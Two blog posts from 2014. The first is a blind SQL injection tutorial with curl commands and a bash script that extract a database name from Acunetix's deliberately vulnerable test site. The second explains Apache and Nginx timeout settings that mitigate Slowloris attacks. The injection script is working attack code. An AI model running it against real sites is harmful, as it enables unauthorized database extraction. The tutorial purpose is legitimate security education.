Wednesday, September 24, 2014

Introduction to blind SQL injection

This week I was preparing a test scenario for a security engineer position. One of the questions was related to blind SQL injection.

As described by OWASP, blind SQL injection is based on true or false answers from the application. There is a online website for Acunetix security tests testphp.vulnweb.com that we will use to replicate an environment where we will be able to guess the database name.

If you open the website http://testphp.vulnweb.com/artists.php?artist=1 you should see the artist description:

As described in the OWASP wiki, let's try to play with the parameters. We'll add a SQL condition where 1 is equal to 2 (false should be returned). http://testphp.vulnweb.com/artists.php?artist=1 and 1=2

Nothing returned, so it looks like there would be chance of SQL injection. Now we see how true and false looks like, so let's try now guess one of the database letters with the query artist=1 and database() LIKE '%a%':
It has an 'a'. Guessing the database name by hand would take us a while, so let's go to bash and write a command line that will help us to get the first letter. First, let's take a copy of the server response when SQL is true:

curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=1" >/tmp/true

We will suppose the db name has no symbols or numbers. Let's scan for the first letter using database() LIKE '$x%'

$  for x in `bash -c 'printf "%s " {a..z}'`; do curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '$x%'" > /tmp/test1/tmp; if diff /tmp/test1/tmp /tmp/true > /dev/null ; then echo "$x found"; fi;done
a found

We've got the first one. Now we can run this script to get the full name - note that this DB name will change over time if you try the same on this server:

#!/bin/bash
sqltrue=/tmp/true
sqlfalse=/tmp/false
sqltmp=/tmp/checking
function guessdb {
        for x in `bash -c 'printf "%s " {a..z}'`; do
                curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '${dbname}${x}%'" > $sqltmp
                if diff $sqltmp $sqltrue > /dev/null ;
                        then
                                echo "$x found"
                                dbname="${dbname}${x}"
                                break
                fi
        done
        }
function isthisdb {
        curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '$dbname'" > $sqltmp
        if  diff $sqltmp $sqltrue > /dev/null ;
                        then
                                echo "dbname $dbname found"
                                exit 0
                fi
}

curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=1" > $sqltrue
curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=2" > $sqlfalse
dbname="a"
while (true); do
        guessdb
        isthisdb
done
Running the script:

$ ./db.sh
c found
u found
a found
r found
t found
dbname acuart found

If the application's user has enough privileges, you could actually list server's databases, users and other operations.

Bibliography:
https://www.acunetix.com/ Thanks for having the test platform online
OWASP

Friday, September 19, 2014

Mitigating Slow Loris attacks on Apache and Nginx


Robert "RSnake" came up with this attack. It does consist in opening as many connections as you can with a server, and keeping them open as long as you can. The objective is to occupy all the available connections on the target, making it unable to serve other visitors. More information about it on wikipedia.

For Apache, there's a special module mod_antiloris which I haven't tried yet. What I'm using for this example is mod_reqtimeout. This is the configuration on the vhost conf file:

<IfModule mod_reqtimeout.c>
    RequestReadTimeout header=5-10,MinRate=500 body=8,MinRate=500
</IfModule>

This will timeout the headers reception after 5 seconds, but if the client still sending data this will increase 1 second to the timeout every 500 bytes sent per second - up to a maximum of 10 seconds. The body will timeout after 8 seconds, but if the client still sending data at a minimum rate of 500 bytes per second, an extra second will be added to the timeout - unlimited in this case, for if we have a big upload coming in.

To finish enabling this, we need to enable the module and reload apache:

$ sudo a2enmod reqtimeout
$ sudo apachectl graceful

For Nginx. I added this to my vhost configuration file:

#       Slowloris mitigation
        client_body_timeout             5s;
        client_header_timeout           5s;
        keepalive_timeout               10s;
        send_timeout                    15s;

This will make both body and header timeout at 5 seconds. Keep-alive connections will expire at 10 seconds. Also, if we talk back to the client but he is not responding we will close the connection at 15 seconds.

To enable the configuration, check nginx syntax and reload the service:

$ sudo nginx -t && sudo service nginx reload

These parameters works for my setup, you might need to change them depending on your environment.

Bibliography:

Wikipedia page
Apache documentation on mod_reqtimeout
Slowloris original code
Nginx manual